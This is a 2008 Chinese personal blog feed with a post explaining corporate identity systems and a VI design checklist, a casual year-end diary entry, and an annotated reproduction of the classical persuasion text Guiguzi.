<![CDATA[『無語 's Blog』]]> http://www.wowuyu.com/ PJBlog3 2008-12-29T16:42:52+08:00 <![CDATA[VI设计,CIS是什么? MI BI分别是什么?]]> 无语 http://www.wowuyu.com/ web@wowuyu.com 2008-12-29T16:42:52+08:00 2008-12-29T16:42:52+08:00 CIS的具体组成部分 MI：理念识别 BI：行为识别 VI：视觉识别
什么是CIS ？
CIS是Corporate Identity System的缩写，意思是企业形象识别系统。60年代，美国人首先提出了企业的CI设计这一概念。据说是美国IBM公司是这方面开先河者。
CIS的主要含义是：将企业文化与经营理念，统一设计，利用整体表达体系（尤其是视觉表达系统），传达给企业内部与公众，使其对企业产生一致的认同感，以形成良好的企业印象，最终促进企业产品和服务的销售。

CIS的意义
对内，企业可通过CI设计对其办公系统、生产系统、管理系统以及营销、包装、广告等宣传形象形成规范设计和统一管理，由此调动企业每个职员的积极性和归属感、认同感，使各职能部门能各行其职、有效合作。
对外，通过一体化的符号形式来形成企业的独特形象，便于公众辨别、认同企业形象，促进企业产品或服务的推广。

CIS的具体组成部分
日本著名CI专家山田英理认为CI包含下面两个方面的概念：
第一、CI是一种被明确地认知企业理念与企业文化的活动；
第二、CI是以标志和标准字作为沟通企业理念与企业文化的工具。

换而言之，CI系统是由MI（理念识别Mind Identity）、BI（行为识别Behavior Identity）、VI（视觉识别Visual Identity）三方面组成。在CIS的三大构成中，其核心是MI，它是整个CIS的最高决策层，给整个系统奠定了理论基础和行为准则，并通过BI与VI表达出来。所有的行为活动与视觉设计都是围绕着MI这个中心展开的，成功的BI与VI就是将企业的独特精神准确表达出来。

MI：理念识别
企业理念，对内影响企业的决策、活动、制度、管理等等，对外影响企业的公众形象、广告宣传等。
所谓MI，是指确立企业自己的经营理念，企业对目前和将来一定时期的经营目标、经营思想、经营方式和营销状态进行总体规划和界定。
MI的主要内容包括
企业精神，企业价值观，企业文化，企业信条，经营理念，经营方针，市场定位，产业构成，组织体制，管理原则，社会责任和发展规划等。

BI：行为识别
置于中间层位的BI则直接反映企业理念的个性和特殊性，是企业实践经营理念与创造企业文化的准则，对企业运作方式所作的统一规划而形成的动态识别系统。包括对内的组织管理和教育，对外的公共关系、促销活动、资助社会性的文化活动等。通过一系列的实践活动将企业理念的精神实质推展到企业内部的每一个角落，汇集起员工的巨大精神力量。
BI包括以下内容
对内：组织制度，管理规范，行为规范，干部教育，职工教育，工作环境，生产设备，福利制度等等；
对外：市场调查，公共关系，营销活动，流通对策，产品研发，公益性、文化性活动等等。

VI：视觉识别
VI：以标志、标准字、标准色为核心展开的完整的、系统的视觉表达体系。将上述的企业理念、企业文化、服务内容、企业规范等抽象概念转换为具体符号，塑造出独特的企业形象。在CI设计中，视觉识别设计最具传播力和感染力，最容易被公众接受，具有重要意义。
VI系统：
A.基本要素系统：如企业名称、企业标志、企业造型、标准字、标准色、象征图案、宣传口号等。
B.应用系统：产品造型、办公用品、企业环境、交通工具、服装服饰、广告媒体、招牌、包装系统、 公务礼品、陈列展示以及印刷出版物等。

一套VI设计的主要内容：
I．基本要素系统
A.标志
B.标准字
C.标准色
D.标志和标准字的组合.

II．应用系统
A.办公用品：信封、信纸、便笺、名片、徽章、工作证、请柬、文件夹、介绍信、帐票、备忘录、资料袋、公文表格等。
B.企业外部建筑环境：建筑造型、公司旗帜、企业门面、企业招牌、公共标识牌、路标指示牌、广告塔、霓虹灯广告、庭院美化等。
C.企业内部建筑环境：企业内部各部门标识牌、常用标识牌、楼层标识牌、企业形象牌、旗帜、广告牌、POP广告、货架标牌等。
D.交通工具：轿车、面包车、大巴士、货车、工具车、油罐车、轮船、飞机等。
E.服装服饰：经理制服、管理人员制服、员工制服、礼仪制服、文化衫、领带、工作帽、钮扣、肩章、胸卡等。
F.广告媒体：电视广告、杂志广告、报纸广告、网络广告、路牌广告、招贴广告等。
G.产品包装：纸盒包装、纸袋包装、木箱包装、玻璃容器包装、塑料袋包装、金属包装、陶瓷包装、包装纸。
H.公务礼品：T恤衫、领带、领带夹、打火机、钥匙牌、雨伞、纪念章、礼品袋等。
I.陈列展示：橱窗展示、展览展示、货架商品展示、陈列商品展示等。
J.印刷品：企业简介、商品说明书、产品简介、年历等。


VI设计内容
01■ 名片设计（中式）
02■ 名片设计（西式）
03■ 名片设计（中西式）
04■ 信纸（空白）
05■ 信纸（横纹）
06■ 信纸（方格）
07■ 信封（中式）
08■ 信封（西式）
09■ 公文袋（大、中、小）
10■ 资料袋（大、中、小）
11■ 传真用纸表头VI设计
12■ 便条纸
13■ 各式表格格式
14■ 卷宗夹
15■ 公司专用稿纸
16■ 贵宾卡
17■ 来宾卡
18■ 通行证
19■ 贴纸
20■ 笔记本封面
21■ 合同书封面
22■ 企划书封面
23■ 事务用标签贴纸
24■ 航空专用信封套
26■ 专用海报纸（对开、长4K）
27■ 奖杯
28■ 纸杯VI设计
29■ 文件格式
30■ 办公用笔
31■ 电脑用报表
32■ 留言条


33□ 包装纸VI设计（单色）
34□ 包装纸VI设计（双色）
35■ 包装纸VI（特别色）
36□ 包装纸袋
37■ 手提袋设计
38□ 胶带
39□ 包装用签
40□ 包装塑胶带
41□ 包装纸盒
42□ 礼品包装袋

43■ 公司旗帜
44■ 纪念旗帜
45■ 模式挂旗
46■ 直式立旗
47■ 小吊旗
48■ 小串旗
49■ 大型挂旗
50■ 桌上旗
51■ 锦旗
52■ 奖励旗
53■ 纪念旗
54■ 促销用旗
55■ 庆典用旗
56□ 主题式旗帜
57□ 其他VI设计

58■ 男性主管职员制服
59■ 女性主管职员制服
60■ 男性行政职员制服
61■ 女性行政职员制服
62□ 男性生产职员制服
63□ 女性生产职员制服
64□ 男性店面职员制服
65□ 女性店面职员制服
66□ 男性展示职员制服
67□ 女性展示职员制服
68□ 男性服务职员制服
69□ 女性服务职员制服
70□ 男性工务职员制服
71□ 女性工务职员制服
72■ 男性警卫职员制服
73■ 女性警卫职员制服
74□ 男性清洁职员制服
75□ 女性清洁职员制服
76□ 男性厨师职员制服
77□ 女性厨师职员制服
78■ 男性运动服（二季）
79■ 女性运动服（二季）
80■ 运动夹克（二季）
81■ 运动帽
82□ 运动鞋
83■ 徽章
84■ 领带夹
85■ 领带
86■ 领巾
87■ 皮带
88□ 安全帽
89■ 工作帽
90■ 上岗证
91■ 雨具（雨披、雨伞）
92□ 其他VI设计

93■ 电视广告商标风格
94■ 报纸广告商标风格
95■ 杂志广告商标风格
96■ 人事广告商标风格
97■ 公司简介商标风格
98■ 产品简介商标风格
99□ 促销DM商标风格
100■ 产品说明书商标风格
101□ 营业用卡（回函）商标风格
102□ 海报商标风格
103■ POP商标风格/POP设计
104■ 幻灯片商标风格
105□ 其他VI设计

106■ 造型招牌（室内）
107■ 造型招牌（室外）
108■ 直式招牌设计
109■ 横式招牌设计
110■ 立地招牌VI设计
111■ 柜台后招牌
112■ 霓虹灯招牌
113■ 大楼屋顶招牌
114■ 大楼楼层招牌
115□ 骑楼下招牌
116□ 骑楼柱面招牌
117□ 悬挂式招牌
118■ 帆布招牌
119■ 户外看板（路牌广告）
120■ 禁止停车牌
121■ 工地大门
122■ 工地事务所
123□ 工地围篱VI设计
124■ 工地标语贴纸
125■ 工地行道树围篱
126■ 工地牌坊
127□ 其他VI设计

128■ 室内指标系统
129■ 室外指标系统（公共区域）
130■ 符号指标系统

131■ 部门标示牌
132■ 总区域看板
133■ 分区域看板
134□ 其他VI设计

135■ 工厂外观色带
136■ 室内形象墙面
137■ 大楼建筑物外观标志风格
138■ 大门入口设计
139■ 柜台后墙面设计
140■ 玻璃门色带设计
141■ 公布栏
142■ 踏垫
143■ 垃圾桶
144■ 烟灰缸
145■ 室内精神标语墙
146□ 员工储物柜
147□ 环境色彩标示
148□ 其他VI设计

149■ 业务用车
150□ 平板车
151■ 交通车
152■ 商务车
153□ 厢型货车
154□ 厢型货柜车
155□ 旅行车
156■ 小客车
157■ 机车
158■ 脚踏车
159□ 拖车头
160□ 曳引车
161□ 堆高国
162□ 吊车
163□ 水泥搅拌车

164□ 展示会场设计
165□ 展示会场参观指示
166□ 展示橱窗设计
167□ 展示板VI设计
168□ 舞台设计
169□ 精神堡垒设计
170□ 商品展示架
171□ 商品展示台
172□ 照明规划
173□ 色彩规划
174□ 动线规划
175□ 其他VI设计

176■ 邀请卡（封套）
177■ 生日卡（封套）
178■ 问候卡（封套）
179■ 感谢卡（封套）
180■ 圣诞卡（封套）
181■ 贺年卡（封套）
182■ 万用卡（封套）
183□ 年历
184□ 月历
185□ 日历
186□ 工商日志
187□ 纸张
188□ 铅笔
189□ 原子笔
190□ 笔架
191■ 雨伞架
192■ 气球
193□ 吉祥物赠品
194□ 便条纸砖
195□ 薪资袋
196■ 礼金袋
197■ 其他VI设计]]> http://www.wowuyu.com/default.asp?id=129 <![CDATA[2008岁末杂谈一]]> 无语 http://www.wowuyu.com/ web@wowuyu.com 2008-12-27T19:39:39+08:00 2008-12-27T19:39:39+08:00
今天周末无事,乱发表下感慨,写写最近发生的事情,好久没有记事了,没有记事也就代表着好久没有总结,一般来说过的都是外孙打灯笼-照旧,不管是朋友还是家人问起近况,也没什么好说的,都是一样,生活过的平淡无奇,这些都是在个人生活上来讲,在工作的角度讲,却发生了很多事情,值得一写.

首先是公司又有了个新项目,而且催的很急,这让我们都有事情可以做,而且是具体的需求,需求具体了,那么我们就能学到新的东西,从展会到实施,这些都是一个很好的开始,为以后的发展,有很大的促进作用.
第二件事,就是小陈离开我们公司了,具体原因可能很复杂,也可能很简单,反正就是离开了,人年轻,能力也很强,不光是专业知识,在其他拓展方面,想的都很周到,应变能力也很快,所以看到上面提到的项目,也会想到小陈哦,希望你明年发展的更好.
然后就是些小事了,要写报告,年底报告那不是一般的多,开会,然后要搬房子,还要转租,房东说没提前一个月打招呼不退,我丢.. 我是提前十天的.

过年还要回家,本来没准备回去的,因为明年要回去办身份证跟户口托管,又要回去.但是又一个特别的事情发生了,我表弟,比我小4天的兄弟,我舅妈的儿子,结婚,我真被雷倒了,这么早就结婚,但是我还是要祝福他们,他们一起都快10年了,初中就好上了,真是不简单啊...

发生了很多大事,但是这些所有的,好像都与我无关,我还是感觉什么都没发生...

地球还在转么???




最后来句不协调的话: 饿挂了,不写了,吃饭  o(∩_∩)o...哈哈
]]> http://www.wowuyu.com/default.asp?id=128 <![CDATA[鬼 谷 子 ]]> 无语 http://www.wowuyu.com/ web@wowuyu.com 2008-11-23T18:28:03+08:00 2008-11-23T18:28:03+08:00
鬼谷子，姓王名诩，春秋时人。常入云梦山采药修道。因隐居清溪之 鬼谷，故自称鬼谷先生。

鬼谷子为纵横家之鼻祖，苏秦与张仪为其最杰出的两个弟子〔见《战国策》〕。另有孙膑与庞涓亦为其弟子之说〔见《孙庞演义》〕。

纵横家所崇尚的是权谋策略及言谈辩论之技巧，其指导思想与儒家所推崇之仁义道德大相径庭。因此，历来学者对《鬼谷子》一书推崇者甚少，而讥诋者极多。其实外交战术之得益与否，关系国家之安危兴衰；而生意谈判与竞争之策略是否得当，则关系到经济上之成败得失。即使在日常生活中，言谈技巧也关系到一人之处世为人之得体与否。当年苏秦凭其三寸不烂之舌，合纵六国，配六国相印，统领六国共同抗秦，显赫一时。而张仪又凭其谋略与游说技巧，将六国合纵土蹦瓦解，为秦国立下不朽功劳。所谓「智用于众人之所不能知，而能用于众人之所不能。」潜谋于无形，常胜于不争不费，此为《鬼谷子》之精髓所在。《孙子兵法》侧重于总体战略，而《鬼谷子》则专于具体技巧，两者可说是相辅相成。

《鬼谷子》共有十四篇，其中第十三、十四篇已失传。《鬼谷子》的版本，常见者有道藏本及嘉庆十年江都秦氏刊本。此电子文本为道藏本，取自萧登福先生之《鬼谷子研究》〔文译出版社，一九八四年〕。

国标码表中无对应的少数汉字，均以“□”符号代之。

  

《鬼谷子》捭阖第一　　　　　　　　　　　　　　　　　捭阖第一

奥若稽古圣人之在天地间也，为众生之先，观阴阳之开阖以名命物；知存亡之门户，筹策万类之终始，达人心之理，见变化之朕焉，而守司其门户。故圣人之在天下也，自古及今，其道一也。

变化无穷，各有所归，或阴或阳，或柔或刚，或开或闭，或驰或张。是故圣人一守司其门户，审察其所先后，度权量能，校其伎巧短长。

夫贤、不肖；智、愚；勇、怯；仁、义；有差。乃可捭，乃可阖，乃可进，乃可退，乃可贱，乃可贵；无为以牧之。

审定有无，与其虚实，随其嗜欲以见其志意。微排其言而捭反之，以求其实，贵得其指。阖而捭之，以求其利。或开而示之，或阖而闭之。开而示之者，同其情也。阖而闭之者，异其诚也。可与不可，审明其计谋，以原其同异。离合有守，先从其志。即欲捭之，贵周；即欲阖之，贵密。周密之贵微，而与道相追。

捭之者，料其情也。阖之者，结其诚也，皆见其权衡轻重，乃为之度数，圣人因而为之虑。其不中权衡度数，圣人因而自为之虑。

故捭者，或捭而出之，而捭而内之。阖者，或阖而取之，或阖而去之。捭阖者，天地之道。捭阖者，以变动阴阳，四时开闭，以化万物；纵横反出，反复反忤，必由此矣。

捭阖者，道之大化，说之变也。必豫审其变化。吉凶大命□焉。口者，心之门户也。心者，神之主也。志意、喜欲、思虑、智谋，此皆由门户出入。故关之矣捭阖，制之以出入。

捭之者，开也，言也，阳也。阖之者，闭也，默也，阴也。阴阳其和，终始其义。

故言「长生」、「安乐」、「富贵」、「尊荣」、「显名」、「爱好」、「财利」、「得意」、「喜欲」，为『阳』，曰『始』。

故言「死亡」、「忧患」、「贫贱」、「苦辱」、「弃损」、「亡利」、「失意」、「有害」、「刑戮」、「诛罚」，为『阴』，曰『终』。

诸言法阳之类者，皆曰『始』；言善以始其事。诸言法阴之类者，皆曰『终』；言恶以终其谋。

捭阖之道，以阴阳试之。故与阳言者，依崇高。与阴言者，依卑小。以下求小，以高求大。由此言之，无所不出，无所不入，无所不可。可以说人，可以说家，可以说国，可以说天下。

为小无内，为大无外；益损、去就、倍反，皆以阴阳御其事。

阳动而行，阴止而藏；阳动而出，阴隐而入；阳远终阴，阴极反阳。

以阳动者，德相生也。以阴静者，形相成也。以阳求阴，苞以德也；以阴结阳，施以力也。阴阳相求，由捭阖也。此天地阴阳之道，而说人之法也。为万事之先，是谓圆方之门户。



【注释】
　　捭：〔音ｂａｉ３〕分。
　　阖：〔音ｈｅ２〕关。
　　稽：〔音ｊｉ１〕考。
　　朕：〔音ｚｈｅｎ４〕迹象。
　　牧：处理。
　　内：接纳；忤：逆。

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《鬼谷子》反应第二　　　　　　　　　　　　　　　　　反应第二

古之大化者，乃与无形俱生。反以观往，复以验来；反以知古，复以知今；反以知彼，复以知此。动静虚实之理不合于今，反古而求之。事有反而得复者，圣人之意也，不可不察。

人言者，动也。己默者，静也。因其言，听其辞。言有不合者，反而求之，其应必出。

言有象，事有比；其有象比，以观其次。

象者，象其事。比者，比其辞也。以无形求有声。其钓语合事，得人实也。其犹张□纲而取兽也。多张其会而司之，道合其事，彼自出之，此钓人之纲也。常持其纲驱之。

己反往，彼复来，言有象比，因而定基，重之、袭之、反之、复之，万事不失其辞。圣人所愚智，事皆不疑。

故善反听者，乃变鬼神以得其情。其变当也，而牧之审也。牧之不审，得情不明。得情不明，定基不审。变象比必有反辞以远听之。欲闻其声，反默；欲张，反敛；欲高，反下；欲取，反与。欲开情者，象而比之，以牧其辞。同声相呼，实理同归。或因此，或因彼，或以事上，或以牧下。此听真伪，知同异，得其情诈也。动作言默，与此出入；喜怒由此以见其式；皆以先定为之法则。以反求复，观其所托，故用此者。

己欲平静以听其辞，观其事、论万物、别雄雌。虽非其事，见微知类。若探人而居其内，量其能，射其意；符应不失，如□蛇之所指，若弈之引矢；故知之始己，自知而后知人也。其相知也，若比目之鱼；其见形也，若光之与影；其察言也不失，若磁石之取铁；若舌之取燔骨。其与人也微，其见情也疾；如阴与阳，如圆与方。未见形，圆以道之；既见形，方以事之。进退左右，以是司之。己不先定，牧人不正，是用不巧，是谓忘情失道。己审先定以牧人，策而无形容，莫见其门，是谓天神。

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《鬼谷子》内楗第三　　　　　　　　　　　　　　　　　内楗第三

  

君臣上下之事，有远而亲，近而疏；就之不用，去之反求；日进前而不御，遥闻声而相思。

事皆有内楗，素结本始。或结以道德，或结以党友，或结以财货，货结以采色。用其意，欲入则入，欲出则出；欲亲则亲，欲疏则疏；欲就则就；欲去则去；欲求则求，欲思则思。若蚨母之从子也；出无间，入无朕。独往独来，莫之能止。

内者，进说辞也。楗者，楗所谋也。欲说者务稳度，计事者务循顺。阴虑可否，明言得失，以御其志。方来应时，以和其谋。详思来楗，往应时当也。夫内有不合者，不可施行也。乃揣切时宜，从便所为，以求其变。以变求内者，若管取楗。言往者，先顺辞也；说来者，以变言也。善变者审知地势，乃通于天，以化四时，使鬼神，合于阴阳，而牧人民。

见其谋事，知其志意。事有不合者，有所未知也。合而不结者，阳亲而阴疏。事有不合者，圣人不为谋也。

故远而亲者，有阴德也。近而疏者，志不合也。就而不用者，策不得也。去而反求者，事中来也。日进前而不御者，施不合也。遥闻声而相思者，合于谋待决事也。

故曰：不见其类而为之者，见逆。不得其情而说之者，见非。得其情乃制其术，此用可出可入，可楗可开。故圣人立事，以此先知而楗万物。

由夫道德仁义，礼乐忠信计谋，先取诗书，混说损益，议论去就。欲合者用内，欲去者用外。外内者，必明道数。揣策来事，见疑决之。策无失计，立功建德，治名入产业，曰楗而内合。上暗不治，下乱不□，楗而反之。内自得而外不留，说而飞之，若命自来，己迎而御之。若欲去之，因危与之。环转因化，莫知所为，退为大仪。

【注释】
　　内：入。
　　楗：门拴。
　　内楗：在本文指以言辞与谋略游说国君。

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《鬼谷子》抵戏第四　　　　　　　　　　　　　　　　　抵戏第四

物有自然，事有合离。有近而不可见，有远而可知。近而不可见者，不察其辞也；远而可知者，反往以验来也。

戏者，罅也。罅者，涧也。涧者，成大隙也。戏始有朕，可抵而塞，可抵而却，可抵而息，可抵而匿，可抵而得，此谓抵戏之理也。

事之危也，圣人知之，独保其身；因化说事，通达计谋，以识细微。经起秋毫之末，挥之于太山之本。其施外兆萌牙□之谋，皆由抵戏。抵戏之隙为道术用。

天下纷错，上无明主，公侯无道德，则小人谗贼，贤人不用，圣人鼠匿，贪利诈伪者作，君臣相惑，土崩瓦解而相伐射，父子离散，乖乱反目，是谓萌牙戏罅。圣人见萌牙戏罅，则抵之以法。世可以治，则抵而塞之；不可治，则抵而得之；或抵如此，或抵如彼；或抵反之，或抵覆之。五帝之政，抵而塞之；三王之事，抵而得之。诸侯相抵，不可胜数，当此之时，能抵为右。

自天地之合离终始，必有戏隙，不可不察也。察之以捭阖，能用此道，圣人也。圣人者，天地之使也。世无可抵，则深隐而待时；时有可抵，则为之谋；可以上合，可以检下。能因能循，为天地守神。

【注释】
　　抵：抵塞。
　　戏：隙。
　　抵戏：意为堵塞有缺漏的地方。

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《鬼谷子》飞箝第五　　　　　　　　　　　　　　　　　飞箝第五

  

凡度权量能，所以征远来近。立势而制事，必先察同异，别是非之语，见内外之辞，知有无之数，决安危之计，定亲疏之事，然后乃权量之，其有隐括，乃可征，乃可求，乃可用。

引钩箝之辞，飞而箝之。钩箝之语，其说辞也，乍同乍异。其不可善者，或先征之，而后重累；或先重累，而后毁之；或以重累为毁；或以毁为重累。其用或称财货、琦玮、珠玉、壁帛、采色以事之。或量能立势以钩之，或伺候见涧而箝之，其事用抵戏。

将欲用之于天下，必度权量能，见天时之盛衰，制地形之广狭、阻险之难易，人民货财之多少，诸侯之交孰亲孰疏，孰爱孰憎，心意之虑怀。审其意，知其所好恶，乃就说其所重，以飞箝之辞，钩其所好，乃以箝求之。

用之于人，则量智能、权财力、料气势，为之枢机，以迎之、随之，以箝和之，以意宣之，此飞箝之缀也。用之于人，则空往而实来，缀而不失，以究其辞，可箝可横，可引而东，可引而西，可引而南，可引而北，可引而反，可引而覆，虽覆能复，不失其度。

【注释】
　　飞：制造声誉。
　　箝：箝制。
　　飞箝：意为先以为对方制造声誉来嬴取欢心，再以各种技巧来箝制他。

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《鬼谷子》忤合第六　　　　　　　　　　　　　　　　　忤合第六

凡趋合倍反，计有适合。化转环属，各有形势，反覆相求，因事为制。是以圣人居天地之间，立身、御世、施教、扬声、明名也；必因事物之会，观天时之宜，因知所多所少，以此先知之，与之转化。

世无常贵，事无常师；圣人无常与，无不与；无所听，无不听；成于事而合于计谋，与之为主。合于彼而离于此，计谋不两忠，必有反忤；反于是，忤于彼；忤于此，反于彼。其术也，用之于天下，必量天下而与之；用之于国，必量国而与之；用之于家，必量家而与之；用之于身，必量身材气势而与之；大小进退，其用一也。必先谋虑计定 ，而后行之以飞箝之术。

古之善背向者，乃协四海，包诸侯忤合之地而化转之，然后求合。故伊尹五就汤，五就桀，而不能所明，然后合于汤。吕尚三就文王，三入殷，而不能有所明，然后合于文王，此知天命之箝，故归之不疑也 。

非至圣达奥，不能御世；非劳心苦思，不能原事；不悉心见情，不能成名；材质不惠，不能用兵；忠实无实，不能知人；故忤合之道，己必自度材能知睿，量长短远近孰不知，乃可以进，乃可以退，乃可以纵，乃可以横。

【注释】
　　忤，相背；合，相向。合于此，必忤于彼。良臣须择主而事。

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《鬼谷子》揣篇第七　　　　　　　　　　　　　　　　　揣篇第七

古之善用天下者，必量天下之权，而揣诸侯之情。量权不审，不知强弱轻重之称；揣情不审，不知隐匿变化之动静。

何谓量权？曰：度于大小，谋于众寡；称货财有无之数，料人民多少、饶乏，有余不足几何？辨地形之险易，孰利孰害？谋虑孰长孰短？

揆君臣之亲疏，孰贤孰不肖？与宾客之智慧，孰多孰少？观天时之祸福，孰吉孰凶？诸侯之交，孰用孰不用？百姓之心，孰安孰危？孰好孰憎？反侧孰辨？能知此者，是谓量权。

揣情者，必以其甚喜之时，往而极其欲也；其有欲也，不能隐其情。必以其甚惧之时，往而极其恶也；其有恶者，不能隐其情。情欲必出其变。感动而不知其变者，乃且错其人勿与语，而更问其所亲，知其所安。夫情变于内者，形见于外，故常必以其者而知其隐者，此所以谓测深探情。

故计国事者，则当审权量；说人主，则当审揣情；谋虑情欲，必出于此。乃可贵，乃可贱；乃可重，乃可轻；乃可利，乃可害；乃可成，乃可败；其数一也。

故虽有先王之道；圣智之谋，非揣情隐匿，无可索之。此谋之大本也，而说之法也。常有事于人，人莫能先，先事而生，此最难为。故曰：揣情最难守司。言必时其谋虑。故观□飞蠕动，无不有利害，可以生事美。生事者，几之势也。此揣情饰言，成文章而后论之也。

【注释】
　　揣：估量。

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《鬼谷子》摩篇第八　　　　　　　　　　　　　　　　　摩篇第八

摩者，揣之术也。内符者，揣之主也。用之有道，其道必隐。微摩之以其索欲，测而探之，内符必应；其索应也，必有为之。故微而去之，是谓塞□匿端，隐貌逃情，而人不知，故能成其事而无患。

摩之在此，符之在彼，从而用之，事无不可。古之善摩者，如操钩而临深渊，饵而投之，必得鱼焉。故曰：主事日成，而人不知；主兵日胜，而人不畏也。圣人谋之于阴，故曰神；成之于阳，故曰明，所谓主事日成者，积德也，而民安之，不知其所以利。积善也，而民道之，不知其所以然；而天下比之神明也。主兵日胜者，常战于不争不费 ，而民不知所以服，不知所以畏，而天下比之神明。

其摩者，有以平，有以正；有以喜，有以怒；有以名，有以行；有以 廉，有以信；有以利，有以卑。平者，静也。正者，宜也。喜者，悦也。怒者，动也。名者，发也。行者，成也。廉者，洁也。信者，期也。利者，求也。卑者，谄也。故圣人所以独用者，众人皆有之；然无成功者，其用之非也。

故谋莫难于周密，说莫难于悉听，事莫难于必成；此三者唯圣人然后能任之。故谋必欲周密；必择其所与通者说也，故曰：或结而无隙也。夫事成必合于数，故曰：道、数与时相偶者也。说者听，必合于情 ；故曰：情合者听。故物归类；抱薪趋火，燥者先燃；平地注水，湿者先濡；此物类相应，于事誓犹是也。此言内符之应外摩也如是，故曰：摩之以其类，焉有不相应者；乃摩之以其欲，焉有不听者。故曰 ：独行之道。夫几者不晚，成而不拘，久而化成。

【注释】
　　摩，顺，合也；意为以事情去顺合于说服之君王。

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《鬼谷子》权篇第九　　　　　　　　　　　　　　　　　权篇第九

说者，说之也；说之者，资之也。饰言者，假之也；假之者，益损也 。应对者，利辞也；利辞者，轻论也。成义者，明之也；明之者，符验也。（言或反覆，欲相却也。）难言者，却论也；却论者，钓几也 。

佞言者，谄而干忠；谀言者，博而干智；平言者，决而干勇；戚言者 ，权而干信；静言者，反而干胜。先意承欲者，谄也；繁称文辞者，博也；纵舍不疑者，决也；策选进谋者，权也；他分不足以窒非者，反也。

故口者，机关也；所以关闭情意也。耳目者，心之佐助也；所以窥间见奸邪。故曰：参调而应，利道而动。故繁言而不乱，翱翔而不迷，变易而不危者，（者见）要得理。故无目者不可示以五色，无耳者不可告也五音。故不可以往者，无所开之也。不可以来者，无所受之也 。物有不通者，圣人故不事也。古人有言曰：「口可以食，不可以言」者，有讳忌也。众口烁金，言有曲故也。

人之情，出言则欲听，举事则欲成。是故智者不用其所短而用愚人之所长；不用其所拙而用愚人之所工；故不困也。言其有利者，从其所长也；言其有害者，避其所短也。故介虫之捍也，必以坚厚；螫虫之动也，必以毒螫。故禽兽知用其长，而谈者亦知其用而用也。故曰：辞言有五：曰病、曰恐、曰忧、曰怒、曰喜。病者，感衰气而不神也 。恐者，肠绝而无主也。忧者，闭塞而不泄也。怒者，妄动而不治也。喜者，宣散而无要也。此五者精则用之，利则行之。

故与智者言，依于博；与博者言，依于辨；与辨者言，依于要；与贵者言，依于势；与富者言，依于高；与贫者言，依于利；与贱者言，依于谦；与勇者言，依于敢；与愚者言，依于锐；此其术也，而人常反之。是故与智者言，将以此明之；与不智者言，将以此教之；而甚难为也。故言多类，事多变。故终日言不失其类，而事不乱；终日不变，而不失其主。故智贵不忘。听贵聪，辞贵奇。

【注释】
　　权：权衡。
　　干：同于或为。

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《鬼谷子》谋篇第十　　　　　　　　　　　　　　　　　谋篇第十

凡谋有道，必得其所因，以求其情；审得其情，乃立三仪。三仪者，曰上、曰中、曰下，参以立焉，以生奇；奇不知其所壅；始于古之所从。

故郑人之取玉也，载司南之车，为其不惑也。夫度材、量能、揣情者 ，亦事之司南也。

故同情而相亲者，其俱成者也；同欲而相疏者，其偏害者也；同恶而相亲者，其俱害者也；同恶而相疏者，偏害者也。故相益则亲，相损则疏，其数行也；此所以察异同之分也。故墙坏于其隙，木毁于其节 ，斯盖其分也。

故变生事，事生谋，谋生计，计生仪，仪生说，说生进，进生退，退生制；因以制于事，故百事一道，而百度一数也。

夫仁人轻货，不可诱以利，可使出费；勇士轻难，不可惧以患，可使据危；智者达于数，明于理，不可欺以不诚，可示以道理，可使立功；是三才也。故愚者易蔽也，不肖者易惧也，贪者易诱也，是因事而裁之。

故为强者，积于弱也；为直者，积于曲也；有余者，积于不足也；此其道术也。

故外亲而内疏者，说内；内亲而外疏者，说外；故因其疑以变之，因其见以然之，因其说以要之，因其势以成之，因其恶以权之，因其患以斥之；摩而恐之，高而动之，微而证之，符而应之，拥而塞之，乱而惑之，是谓计谋。

计谋之用，公不如私，私不如结；结比而无隙者也。正不如奇；奇流而不止者也。故说人主者，必与之言奇；说人臣者，必与之言私。其身内，其言外者，疏；其身外，其言身者，危。无以人之所不欲而强之于人，无以人之所不知而教之于人。人之有好也，学而顺之；人之有恶也，避而讳之；故阴道而阳取之。故去之者，从之；从之者，乘之。貌者不美又不恶，故至情托焉。

可知者，可用也；不可知者，谋者所不用也。故曰：是贵制人，而不贵制于人。制人者，握权也。见制于人者，制命也。故圣人之道阴，愚人之道阳；智者事易，而不智者事难。以此观之，亡不可以为存， 而危不可以为安；然而无为而贵智矣。智用于众人之所不能知，而能用于众人之所不能见。既用，见可否，择事而为之，所以自为也。见不可，择事而为之，所以为人也。故先王之道阴。言有之曰：「天地之化，在高在深；圣人之制道，在隐于匿。」非独忠信仁义也，中正而已矣。道理达于此之义，则可于语。由能得此，则可以杀远近之诱。

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《鬼谷子》决篇第十一　　　　　　　　　　　　　　　决篇第十一

凡决物，必托于疑者。善其用福，恶其用患；善至于诱也，终无惑偏 。有利焉，去其利，则不受也；奇之所托。若有利于善者，隐托于恶 ，则不受矣，致疏远。故其有使失利者，有使离害者，此事之失。

圣人所以能成其事者有五：有以阳德之者，有以阴贼之者，有以信诚 之者，有以蔽匿之者，有以平素之者。阳励于一言，阴励于二言，平素、枢机以用；四者微而施之。于事度之往事，验之来事，参之平素 ，可则决之。

王公大人之事也，危而美名者，可则决之；不用费力而易成者，可则决之；用力犯勤苦，然不得已而为之者，可贵则决之；去患者，可贵则决之；从福者，可则决之。故夫决情定疑，万事之基，以正治乱，决成败，难为者。故先王乃用蓍龟者，以自决也。

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《鬼谷子》符言第十二　　　　　　　　　　　　　　　符言第十二

  

安徐正静，其被节先肉。善与而不静，虚心平意以待倾损。

右主位。

目贵明，耳贵聪，心贵智。以天下之目视者，则无不见；以天下之耳听者，则无不闻；以天下之心思虑者，则无不知；辐辏并进，则明不可塞。

右主明。

德之术曰勿坚而拒之，许之则防守，拒之则闭塞。高山仰之可极，深渊度之可测，神明之德术正静，其莫之极。

右主德。

用赏贵信，用刑贵正。赏赐贵信，必验而目之所闻见，其所不闻见者 ，莫不谙化矣。诚畅于天下神明，而况奸者干君。

右主赏。

一曰天之，二曰地之，三曰人之；四方上下，左右前后，荧惑之处安在。

右主问。

心为九穷之治，君为五官之长。为善者，君与之赏；为非者，君与之罚。君因其所以求，因与之，则不劳。圣人用之，故能赏之。因之循理，故能长久。

右主因。

人主不可不周；人主不周，则群臣生乱，家于其无常也，内外不通，安知所闻，开闭不善，不见原也。

右主周。

一曰长目，二曰飞耳，三曰树明。明知千里之外，隐微之中，是谓洞天下奸，莫不谙变更。

右主恭。

循名而为贵，安而完，名实相生，反相为情，故曰名当则生于实，实生于理，理生于名实之德，德生于和，和生于当。

右主名。

【注】
　　右：有。

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《鬼谷子》转丸第十三　　　　　　　　　　　　　　　转丸第十三



〔原文现已失传〕

